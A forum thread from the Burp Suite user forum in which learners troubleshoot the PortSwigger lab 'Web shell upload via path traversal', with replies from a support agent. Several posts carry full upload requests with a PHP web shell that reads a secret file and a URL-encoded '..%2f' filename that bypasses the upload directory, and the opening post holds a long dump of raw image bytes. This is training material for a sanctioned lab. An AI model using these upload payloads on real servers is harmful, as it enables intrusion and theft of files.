Burp Suite User Forum

Create new post

Issue with Lab: Web shell upload via path traversal

Entoni | Last updated: Nov 16, 2022 09:30PM UTC

Hello! I did all steps and got via link /files/exploit.php data in strange format Can't understand where is secret string there ����JFIF��BExifMM*�i@@��C      %%))%756*2>-)0;!��C  ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,����"�� ���}!1AQa"q2���#B��R��$3br� %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz��������������������������������������������������������������������������� ���w!1AQaq"2�B���� #3R�br� $4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�������������������������������������������������������������������������� ?�I�4���� �FM%�4d�Q@ �FM%�4d�Q@ �FM%�4d�Q@ �FM%�4d�Q@ �FM%�4d�Q@ �FM%�4d�Q@ �FM%�4d�Q@ �FM%�4d�Q@ �FM%�4d�Q@ �FM%�4d�Q@ �FM%�4d�Q@ �FM%�4d�Q@ �FM%�4d�Q@ �FM%�4d�Q@ �NɦS����=i(QEQEQEQEQEQEQEQEQEQEQEQEQH�ct��:��Q��)u}.,�<9����?Z���ƥzT��$�Yz��Y�� �������g����ʻ-?�<��KH��y˱o�M����[m݅Q@$A �Ab+�ҵwvKk��7���?�s��s�s����cQ(�+3� �����M���z̪��Ub��Mc]k�����{|��۹���F��bG%cD@T��r�T�(Q[��1����p�.�M5�Q�Ī���c�9?�F����?js��R?"*��,{���;���f�Z��c�H��67�~��m�XO���{I��W+EC�v��1T^��^�ނA�rЊ+���/,�yo�?��C�����Q��_�� �L~a�y�q>������ �?йEVG�QEQEQEQEQEQEQEQE�m:��ZJS֒�Q@Q@Q@Q@Q@Q@Q@Q@V.���[��!�/UC辦�1rvG.'K z���~�P��_�ґ��>��>����F�����,�(���Ffvgv,�r��$�ri+��O��f��o�{���aEV��QEQEQEQEQEQEQE�w��ъ���)��E�N��t�Un��|-��(ǽjW RI �#�� u:V�/ɔ�s���(�!��\�)�T}�S��kP����Ӣ�+��(��(��(��(��(��(��(��M�P4!�IJz�P ��(��(��(��(��(��(��(����u"���o��p��p�U�;#�����?�vG�����Z���U<�b�}+�+�1QVG�x�ULUGR���QEQ�QEQEQEQEQEQEQEQEQE��'I#b��Xv4�(m;������ ��~Y�����{U��,/��%1�,�?�?�v��$Tt!��2��k��9Y�U���+K�[���QEdz�EPEPEPEPEPEPN�Ө���=i(QEQEQEQEQEQEQE-Qԯ��8ǝ'��k�~�ĒI,I$�I'����]}��L�b�ӎ��5B�iǕ�f�lj���c��_��(�����(��(��B@�q��+�?:Z)2 �9>��W-��Z���^LOO.��@T�����(��n (�Sq y1�y?��i�4+}�=���|�s�>l��9U��>V�&��?�?��5ւ@��݈�L�;t>Ǐ�y�ե��oy�N� �U��=j�5=���Eb (�� (�� (�� (�� �Я~��������QX���t�2�B*%ec������~h��m.������?��*j��C��MN*QمQH���(��(��(��(��(�Si� z�R���(��(��(��(��(��(��++X�>���o�̼��4����UCN�J�g��a�[����Btw��z�q��[�GЉ��, ��<�W��'&�٭����\_�l���"Ҭ�p��� (���(U[�?M�b�o�`�����u��έQF�8ۯ�^����-I��F? ?��P? t�����x�뺽��U��.Tp+��J{S�?H���?�-0��ꗊ{�'�Ew�S��������*�cwmvH�%?L�Z��,5 :c�����H��SЏ��������p5���s����T�y�?J�5���q>y���&�G^�.tіpFg���}�?Z��2RWDlQEPQ@ߕ;Z��'�?A ֺlW H ���Մ����.g���Y�'K��E��+ IR�����h�v�_�H[����1�U�k~��5��Џ_C\���aq�1k�O^�G�EQ���툉1-˰U�O��������B�y�;"�QH�(��(��(��)��uB����% (�� (�� (�� (�� (�� (�����-%��7���}��i�wc:�#J��Z�Z���.<�?��$ti;�åeQ�s�y'֊��VG�X���U�Y�Š(�0 (�� ��/�Yo�:������k��p:��� ��j�|,��5�F0�ѹ� .>Y�S̮��ާ�ϩW-Z��bTc܎ ��8-�(bP���E�����4 (���Q@Q@Q@Q@Q@Q@@ � ��k��(��(��(��)��uB����% (�� (�� (�� (�� (�� �uۏ2� �_���7'��b�C18 ���f��,ҷY���zV�U�Ϝ���Q�%�����eQ]g�Q@^�t�5]KO���73*;�|�߀��y���K�jW�2--V���8��Q9rŰG���Am��(�tTA�*Z(�4�(��QEQEQEQEQEQEQEQExO�l�����1Ln!������$~�]���@��M�\[In�աm��5�ףM�)��Š(�QE=�V��,1�$c����EBJ2M������˳�&鸇����j�pC�$Ў�+R�Y��*��4=>c�����4���>��RV�R��o���h����XX4mЎ�ЏZ��>�2RJQمQH���(��(�Si� z�R���(��(��(��(��(���������_%�����Z�+��IuϹ���䫮��|OJ��Dz�XQE��EP^����V�69��.}�� ~��U���'�����AXW� ��cEW �QEQEQEQEQEQEQEQEQE�|I��4[;�e���}Te'�����5���ΰ1�k ��˕I�3^%]��e-Š(�� (�� (�$`����� }#Q����bA#�G5s�����{�66??��mZO��ki��cw�ÃS�#�+�sC%��jN����`Z��zT��D��@��%����<�[�� �A��+9K�Vzx\*��� ��O�QE`QEQES����=i)OZJQEQEQEQEQES��ɧި"=��A5�Wxʮ��2��X{�\E�-o<зXܯ�v5�E�/�zm��QE�|�QEW�x6�j��~���7����o�Rl�Ɖ�����3�=���t4QEq�Q@Q@Q@Q@Q@Q@Q@Q@Q@� ����ؿ����H�Ҿ��A%��g��n��e���ׇٙ�Z(��� (�� (��:/Ϻ;�by�����pkn��.��[�8G>S����+��m#�rJ�� �����QEb{aEPEPEPN�Ө���=i(QEQEQEQEQES7[uh� %���I�ҚW2�R4�����.V�i����Sc�c��z�4I��γ�l�E����MKq���)+*���R/�'����iSY ux mRN����R��G�T��e�j�s.��a���I,���;;c�X�E��m��Š(�!C_C��n��/�l������W�6?��a��e���k\���p+�:\:�Y���ۻH�W#sz �QB�(�ƃ ���S����UfbT���r��X������%��@????QK5�H"�A�#���_�5���at�����A� +XѨ�Fn�S���t[���P�?�����a]�6#���e=����:��U O�� ����� �˝G�A�v~�����}�7��o�=��?Iƥ=ʌ�-����w]��M���[� Ǯ?�]�ޣqax�7E��}��+/�1��Cz�5��F ��#�e��4{K�2���+!�Q@���9���m��Y.��K0o�㹬 m[��b��T�y�����M؛�l]���7~}iy�쬄q�� s��� ;�l2�� ޵�4;\�I��[�n?J����ÚC4wWa���ΔF ��MsR�N���t�:4�D��j�jL�R+vz� ����P���?��n���]���I����'ľְ�Wk��&�q�O�+u� ��9Gt q{3\���T�FA���t�[+�� �'����?v[!���zҢ���~��t���������э_E�� |�s�7���q���p�H�Q]dQ@Q@v�(��Y!+g��F�ݮ�`�tfϢI5� �sW{#��v��꽶�_�QEsZQEQEQE�m:��ZJS֒�Q@Q@Q@Q@T�}���^�m�x�)�t"sP���Z�֯xnn���cLt,>�Vu^Oz+�.Ud~a^��ԕY�Š*֟cq�^�X[���L�)=K`2i��ec�j3�����7;"\�z���սcBմ'��P��b2�cq"��K2;�kڴ}M�����00�f͝�˻!ڳ�W�îiS[���7M��j��ϣ+�� �]��v<@�5�>�wi�cz���5��YYK+���+ a��D3F����u���KO�&� x��y8aF�Y�QTd�k��K�KķcOӖq��Dv����>p@9��]��4���O�C���4M�G�@�]���(�����[????�'�S=��Yn�2U�G )���z�V���c��>XZۋ��,�����`�@݉]y'�gZ��m< &�5��t�lL���P������ ;sZڨv�50�x�M�u?)�\�H��峳u;N�A#�v^�� ���Rk�gv k�q�^nx9����Cyiq�ݴR2�9m���G'��5�]7���F� &~���Q-3����� �f}?Q�k-r�b��@Wz�<؁�{��t5OW�aԍ��L-�k���G̬:�.:��{ՈY"����.1,g��8`q�kϯK��lztjs+2J(��΀��(�d���� ��-S_�%�Ɨ�����9)bv��~��r}�^�Q����t��ᴛ�Bx�� ��&��О���5�X,�=wka��Q�i�C�#�޺��ӝ�u����?��B�Ԛ�{��EY�2mX����u�W��?����l쬢�-`�8�;F �NM&��i�Ť�w�,�8;c|O��n����.���|�E_�4��}J�N��h�|`I ���*�v-u3 $�I �O���pA�>�`u�V�,�/& Ġo�z��֍Aip�V�̤|�����Sן&���? N�:1���QRt�Q@Q@Q@:�N�hC֒����AEPEPEPEPY������O�;��iVf������6?L���p��Ø_�-ٜ�Q]��]�Ûu�^�b2ml%u�c#,y�k���ᣅ�u=dӈ_� �Ƴ��1��Q�� >���&�����Ş��ǚx�A�4����{� x�8�s�N;7�w���������~ٓ�U���� ���@�OG(?�=Ǹ�U�7aq��i��I6WP�����dGPk�5���2����b?�!�����������6���i5f[�Xp����A�4����ʲBe���C �y�cЊ��̏�[��܏¤�]�WH�H��� �j�FK]��¹lx��{N��3&xB��k���l���Z[����YF���uB�NW���_��da�U��{�Ï�M�#�gۼ�9eH�deb�L���Y�X�%p��+p��(dt)��҉������h�7ǣ P� >�� C��G4�)j�/�4�ov�I���bL��Ï@�G $�:���U3�NM{\��c�8��YT0�j�i�DN$�N�W �f��ďҴU�q<%X����M�H� b����!.�c~aڻ �X�:������E�E�٦�*�y,z�rj'���:h�T>!��f��ɩ(����G1�7�O䆼��za��gԤ\�a��OF��!!�^�r�]�]��L���1B�=G�efpg(&�a�S����}*��i�uW��S@�%OLdT5$_��H��-�5-&�{7����&A?��pu�?�� .�or���*���i|�{�QZ��g}sd� �c|mʷ�^�����E,g�î}��sTVr�nz\��\��fu_ۚW���"?�Vl�c��Qȱ���\+�����p������H�T{z�렂+h��!�A��Or}�sԌc������ſiR� �rJ(��=�(��(�Si� z�R���(��(��(��(��*�����02Le���0�Tqߡ�=i�gs:�U ���f����O��/�7#Z��~]R����[��?݋Oie��δl���g��ʒ��� ��$�X��4lR���Г��O���P��]E��Y�Br�G:�n����%x��u�����p*z�������l�x5�7����Z(��$(��(��(��)�X�ZF���4��dRz�4����&�����EUQEQEQET3�_\���'���>��n��Y�zX��2��e��΢�L�Z��]LB� o4��F��ey'dy/��s�)bS����ߎ�s+�5�U��/�o�d��W�s�;d�`Uz�"�RG V����6���H"�r�PHYcר� ��$�w*g�d-���Ʀ��zyT�qQR�����5D���$���٧G�iq��L�t�\���� +��]ϸX *|��}�ETE ����U���*͂�(�aEPEPN�Ө���=i(QEQEQEQEQE����D� �%@��ԯ�W+ӯ^�5��6�����m@rd�p$�_z�R��>g8��_��+^������A ���Њ+���Ӿk+%�Ή;��ܵŞ���c��t���o"lb;Ex��֝wk}j�g��H���Uoc�׹�������yn@��~x&�F�����i_�F��bj�w؂kD����N�\8%H9�p�5#f�E�(��LŠ(��(��(���o����?C@@~����*z� S�y0������IY�(��LY�9�4��;�@QE�(��(���99Q�1�T54��#�5b����5�$܍I E.�~J�!k+g�E�����0f�rs����5�j:���cq}v�b�p8�,��ƃ�ׅ꺕ޯu�\��N�U�1�ƾ�Wf��f5%} \QE�_��n�k������� ����B����CS/��X7lE6��~gcEW�~�QEQEQEQE�m:��ZJS֒�Q@Q@Q@Q@Q@Q@����ib�\��Y}��޹wI"v�E*�p����;SӒ�2���|���JޝKhϜ�2�Y:�W��w�����jh�楠݋�6[ q�ʝf���� �F$z�8����g�ߣ����� [�����mtʎ�~R>���:֓�$Mqs�4��H��H�0Q�8�5�8�Wdx��&7G$����\�WWܮf}������pr&�����k��(��QP�NO�����&��p��jG T�m���8� $q��',z�} � ���eT)������C�4�u�n��jGv��"g��A�E:�T���-�bF��}iۀ;O�������J��Z��*��\��8�NO�$� (��� (� d��9$��g��U�׶�\�.l�{{�]�]Y{��A��z��|?���{���e��,���;N�k�5 �s�jWY9���\������V�=�_S��Ň]Y�1����R�Ȗ��v�-���@�>�{�Ƣ��I%dHQE�+CF]ڍ��d�Mg�ׇ���2�H���x��&�w���.��ݩ��E�~�QEQEQEQE�m:��ZJS֒�Q@Q@Q@Q@Q@DӪO/ǜ��OFe����jZ�i��v�N�P�!l�=ǭR��1���M]����TW9�ylL7p���I;${�uLj$te���f�������~�G������m������������{�|�q�vj��I$�I$�I'������{J���v��qE��i�>�����жf�&�Q�p��?Q����| � +WX&}�z��yI��6v����k٫ϫY��QEdPPz �QEfK��丅l/e� y��d��c^x�P� �6��N����H�^����kmb̑$��2x�=;��5k-V P��@�`|S��+zt�=/��/f��n���m�l�9�:/��U��w�A��9؀���Jƥ8î����\ܶG@9����KE�Q@cx�Q]/C�.s���z�7��?2 ٯ'��� ����0iĴ�O t��G��)ǚV&N��袊�L��(��(��� �3 4�e?��Z�,�����I�!�rMv� �0�����KNS�8 ��{-��y�Q\��Q@Q@Q@Q@:�N�hC֒����AEPEPEPEPEPEPK�:��fE+ ���X�x~��M��{��=k��,���Tc�ɭ#RQ�n'-�b=H��hqwv��ȱ�c.˻��~*�Mu;\�O;�G$EP�j��?>�����zQL�?�}+�|�!���������*M���a����^5V��F�J����}�@��k��ǡ�Yԇ:�ӱ�-���v:�wv��-� y��Xzz��^{Mh�B�(�1��"�����U��d��w;���"��<7��U��\s�c�����D�ɂ�B�aXi��������KfY�$���Ȯ�(��(���E��*����UF(��KX7q�nAER (��ꚥ��g5��b�aT}�_�h;�M+�gx�_�A�^E*o�CCeS��G���gwgwb�����%��I&�u�b�\�����?$��xE����]��Ȍ��QE���(��N�Q]���ut�?Xca��a��Q)(����������[�l>�y����/P���֭(�&ܝ��- ��T�� (���(��(��(��(��)��uB����% (�� (�� (�� (�� (�� (�� ���b��`H,�0G��U���s�����W d���L�e�\�i g�-�s^?�뺞�u����d[ۡ>T {z�SY��5IJ�<�,ұy$��;��I�Wt)(z�7p��+QQ@Oogwt�`��wc��*R�:�*�WsI QB� *��eR|��W�,l���Q�a�AjVYH�q�8���zӢ��rrwg�����Ò�� (���(��(��(��(��(��)��uB����% (�� (�� (�� (�� (�� (�� ���f��Q�P @��� a�A��E4��eZ��NT�T��QVo�Z��XH;s�#���CU��N���ԧ*rp��(��dQ@Q@$A �#��Ez��<]��"ҵ'���&-�o�zEu����????\5����6]� �Wm��YԊ�J���4U+{�q���c�j�y�������Š(�HQEQET��X�_���zM�r�'ds~.�lZ,Med����� �������G�>A$�J�K+��#3��K3��bkc�QK��2LҤ�Ott5�^�(��S �6�QE�!EPEP�eEݡn�x���s�� pAB9�K+����e#v�;���5�]lϫ���\����h���>�(��(��(��(��(��(��)��uB����% (�� (�� (�� (�� (�� (�� (��)��C�!eL�� �}�rSC=���Qר=����桸���M���z2��G5�:��=�2�c�����?_�8�+OQ�e�Xɒ�<�|�������]I�+��k��a���0��*�B�(���w�m��tX��hh��y�iVȥ��Q�ʇ�o�OEq�Y�ub�bŸ�=Q�5\���$����*J��K�w�ʹ�?�J�z~���rGBGҴU;�� �3l�:�?��m��\輟ҲI'�'�i):��˫-My$�T��}��5V�*l�TU��x�Lia��"\���.p?������}����"���9�0�J�D����^I� ]hd�i4�ܛI��ɔ�a���zxi>^Vy��s�'=EWY�QEQEb����O2�q"7�q�*��}t�J������A���斁���}�­hi��ڡ����]k��1�=�X�1�{���iE3�����_& <��\�V��&�Vn�bm!/(��XwD������I'd}fu�IN���N�ET�aEPEPEPEPN�Ө���=i(QEQEQEQEQEQEQKO7��^O�)�����.j�KԎ��D���m�f��\�$~��˱�K:������HV �VX�Ƹ�F��W/ϔ�̈��{~�yqz?��?±�Cl�f��;��rIq�S�ⵧE�x��a��R��[i���Q]'�Q@w�4����X�wl�kjO�M ˰�?�t�6�V����~g9���b�uv>��]���ageh��‚~�坽��5�R�9��~���)E��sk�2F>n������U�Ir��^��+�t��;iW��#2��H&���q�9�G\�5�ܚz���zE,������Z��Z��r�Զ$�|�UO�{��EL4�f�?�U��.�8��:@+>�u%��$�2��9Q��ҮM ����j+M�~xNNz��l�j��)Z���l�Y�5�;e�� ��]%�����v "�G!���+����xg��$0� {��r�̱�|�ڧбۺ��İ-n���42\�˟ֻ���j��˚)�>���?Sܱi-���EKo�2� (Y����� � �����ޢ�r[w�Y�!M_���u�f��O21讆? �O���d���=����ł|ɛ��}���x�ݍiF5%g%[��������m�&R8E���=?H�Ь�-��r?�A��Z��&��P��i�^���R���g�e�H��3Sk�_/��(�� (�� (�� (�� (�� (�� u6�@Ї�%)�I@��(��(��(��(��(��)�72�g$~T�&��d��@?�FI���Py$�]��*��N+�� Su!*��j�yߵ�:/g̟�b �7�˷ �;����?�yO�&Amk~w��Ǣ���ֽ��:�����F+�O�R�,~dኆ����S��Ҿ� N4i�q�ugys3����� ��'���2?�^���+ K�B�f�Y#r��>��n��0rl* �$�E8 4bOx��5=TԈ7Y����R$�E"��URK@5�p'������52�2�Յ�� UU�O�v+QNa��} �� ��d��AEPPQEQEQEQES����=i)OZJQEQEQEQEQE��$C��2��p�����]�pf5�C 9˵�� (���?- )T�@#�>����X l4��eA�9�qL Y_��̟z�d���J-4�@%ܐ��"��,q��q������+ۣ+� )�?CU��Y�bb��k�,��W����?ꭠS����Q����Ii����mZ����:#+����N/z��ׅ���5�F���zt��V\kLӭ�4��2�#=Hɦ#��?*+K�"<����s�0?R�s�]<�M.a�m*���Xw5���@C'�o|ϚeK(�V��O�qMZM�eՕ|,'��� (��� (�� (�� (�� (�� u6�@Ї�%)�I@��(��(��(��(��(��(�'NFx�=�Y�t��U���UX�̼�����qo4'�)��Ðh`�g�)�����-c�Oj�2�� +b� (��/�z����<���v�$M-"��Ă@ئ��4�W�m��7^a��N��i?P��S�*Z��W��x+��6�������O�f������u�tQ�x�o#�?�4�W�m�������O�f������u�tQ�x�o#�ό|F�jFs�.������]�O� �߻��7^Ee, k%��"�&kc��/�/խx�����t��/����E?�� ��p4b�o�>�6{��&� ��ͷ�����t�i�� ����n�.�����O����x+��6�������O�f������u�tQ�x�o#�?�4�W�m��7Xڦ����Ϧ]�r��f�8��$�Gj�J�|*�6��0���=���=����袊B (����94��NB�j�zB�� ?W��ŵ�Q��ۓY6���rN��.=0�*�[��QE!�ܣ�`~��V}@�@�F*�r�Z�u�u/��;?�QX�NQEQEQEQE�m:��ZJS֒�Q@Q@Q@Q@Q@ :���$�X���T��WQ����G��M-iG�� (��� (��0n?�uX�G) }0�+ ެ�f��(4/������j�o>��Br�B7����If�(�3��;f��?�n����+�|F۵"?�+��cWDv2{�QT ��(��(��(��(��(�� 6/n�����,+�<8�Ԕz G����[��Q\�T�)��I�?4��_�_ҮV&��=ͥ����*hkH�ʵ�N���#�Z4�����u(��Z@QE} V �A� c���������ι�t>��e�X�~�h���>�(��(��(��(��)��uB���=)0h�R�у@ E. 4�R�у@ E. 4�R�у@ �y}�?�OQD�z�?���5�Gf|G��S^_��R�у[�,%�4`�SF&�h���F_Ď+/D������������pk�5��vO3�_2���)ph����R��b��5�Z��ƫw��E�e�Dv2{�QT ��(��(��(��(��(�]�U��I��C5�Z�Ϋg���E�L���(����̈́�;?��V�s��\���-l�1� �T��~�t8�q<��@����LF��4`�(�����PH0�=��j� E0>c�G��m��<4�}5���QK�F sn%�4`�QK�F %�4`�QK�F %:������h ����

Ben, PortSwigger Agent | Last updated: Nov 17, 2022 09:39AM UTC

Hi Entoni, The secret is returned after you have carried out steps 9 and 10 in the solution (after you have encoded the the forward slash (/) character and sent this request in Repeater) and then subsequently looked at the corresponding GET /files/exploit.php request/response in the HTTP history. It looks like you are looking at the response to the request that you issued to upload your avatar image.

Entoni | Last updated: Nov 21, 2022 10:08PM UTC

I was trying to pass the lab again, on the step 9 of solution: 9. Obfuscate the directory traversal sequence by URL encoding the forward slash (/) character, resulting in: filename="..%2fexploit.php" I got an issue with HTTP/1.1 400 Bad Request Content-Type: application/json; charset=utf-8 Connection: close Content-Length: 26 "Missing parameter 'csrf'" How to solve it?

Entoni | Last updated: Nov 21, 2022 10:14PM UTC

See this by Get responce: HTTP/1.1 404 Not Found Date: Mon, 21 Nov 2022 22:11:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Type: text/html; charset=iso-8859-1 Connection: close Content-Length: 274 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.41 (Ubuntu) Server at 61b7b7e45c57 Port 80</address> </body></html> Responce: HTTP/1.1 404 Not Found Date: Mon, 21 Nov 2022 22:11:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Type: text/html; charset=iso-8859-1 Connection: close Content-Length: 274 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.41 (Ubuntu) Server at 61b7b7e45c57 Port 80</address> </body></html>

Ben, PortSwigger Agent | Last updated: Nov 22, 2022 11:11AM UTC

Hi Entoni, Are you using the POST /my-account/avatar request (that is generated after performing the upload of the exploit.php file in Step 5 of the solution) when attempting Step 9? The screenshot below illustrates what my request (and subsequent response) looks like for this part of the solution: https://snipboard.io/iCI83r.jpg

Entoni | Last updated: Nov 22, 2022 09:14PM UTC

1) Yes, POST request for additing file to directory above /avatars 2) There is a strange thing else, looking to solution we can se: Log in and upload an image as your avatar, then go back to your account page. In Burp, go to Proxy > HTTP history and notice that your image was fetched using a GET request to /files/avatars/<YOUR-IMAGE>. Send this request to Burp Repeater. But if i look into http history, there is not requests - GET request to /files/avatars/<YOUR-IMAGE> And i have to usу other request and add strings to GET Could you check it?

Entoni | Last updated: Nov 22, 2022 09:33PM UTC

Now, i try to send: POST /my-account/avatar HTTP/1.1 Host: 0a50007704370d06c0d651bb00df0022.web-security-academy.net Cookie: session=3oc4RFo6DTtYboEfgH7Yq8CMPphNIRNI User-Agent: Mozilla/5.0 (Windows NT 11.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5185.199 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------176289130330405159551224956561 Content-Length: 546 Origin: https://0a50007704370d06c0d651bb00df0022.web-security-academy.net Referer: https://0a50007704370d06c0d651bb00df0022.web-security-academy.net/my-account Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Dnt: 1 Sec-Gpc: 1 Te: trailers Connection: close -----------------------------176289130330405159551224956561 Content-Disposition: form-data; name="avatar"; filename="..%2fexploit.php" Content-Type: application/x-php <?php echo file_get_contents('/home/carlos/secret'); ?> -----------------------------176289130330405159551224956561 Content-Disposition: form-data; name="user" wiener -----------------------------176289130330405159551224956561 Content-Disposition: form-data; name="csrf" GCxFIgcN1sAlwBHGcw4WYZEmf0MQyC9u -----------------------------176289130330405159551224956561-- Responce: HTTP/1.1 400 Bad Request Content-Type: application/json; charset=utf-8 Connection: close Content-Length: 26 "Missing parameter 'csrf'" --- If try with filename="../fexploit.php Responce: HTTP/1.1 200 OK Date: Tue, 22 Nov 2022 21:33:25 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 132 The file avatars/exploit.php has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>

Entoni | Last updated: Nov 22, 2022 09:39PM UTC

Oh, great, i found a solution During the step 9, need to turn on intercept and change ../exploit.php to ..%2fexploit.php And file will be added to files directory

Johnny | Last updated: Jan 29, 2023 04:09PM UTC

Hey there guys. Unfortunately im also stuck at step 10 with the same exact problem - ----------------------------------------------------------------- HTTP/1.1 400 Bad Request Content-Type: application/json; charset=utf-8 Connection: close Content-Length: 26 "Missing parameter 'csrf'" ----------------------------------------------------------------- That's happens when in encoding the "/" no matter what i tried still the same error... "Missing parameter 'csrf'"

Ben, PortSwigger Agent | Last updated: Jan 30, 2023 09:28AM UTC

Hi Johnny, Are you able to provide us with details of steps that you have taken to try and solve this lab (some screenshots would probably be useful) so that we can see exactly what you are doing? If it is easier to provide these via email then please feel free to send this to support@portswigger.net.

Katie | Last updated: Feb 19, 2023 02:07AM UTC

I found a solution to the 404 error and hopefully it's the same for others. I think one of the agents explained this solution but I didn't follow the explanation well. The issue isn't with step 9, but with step 12. Once you change the filename to ..%2fexploit and refresh the account page the GET response uses the ..%2 instead of / which causes the 404 error. Step 12 says "In Burp's proxy history, find the GET /files/avatars/..%2fexploit.php request. " What it doesn't say is that you have to edit the GET request and replace the ..%2f back to a ../ Once my GET request said "GET /files/avatars/exploit.php HTTTP/1.1" I no longer had a 404 error. This is also really important to check that there are no typos. Make sure the file name is the same as you saved it, pretty easy to make a typo from hitting a key wrong and assume you spelled it correctly.

M | Last updated: Oct 20, 2023 12:06PM UTC

for POST request you are changing a wrong Content-Type, there are two of them in the request. You just need to update the second one here: Content-Disposition: form-data; name="avatar"; filename="exploit.php" Content-Type: image/jpeg <?php echo file_get_contents('/home/carlos/secret'); ?>

You must be an existing, logged-in customer to reply to a thread. Please email us for additional support.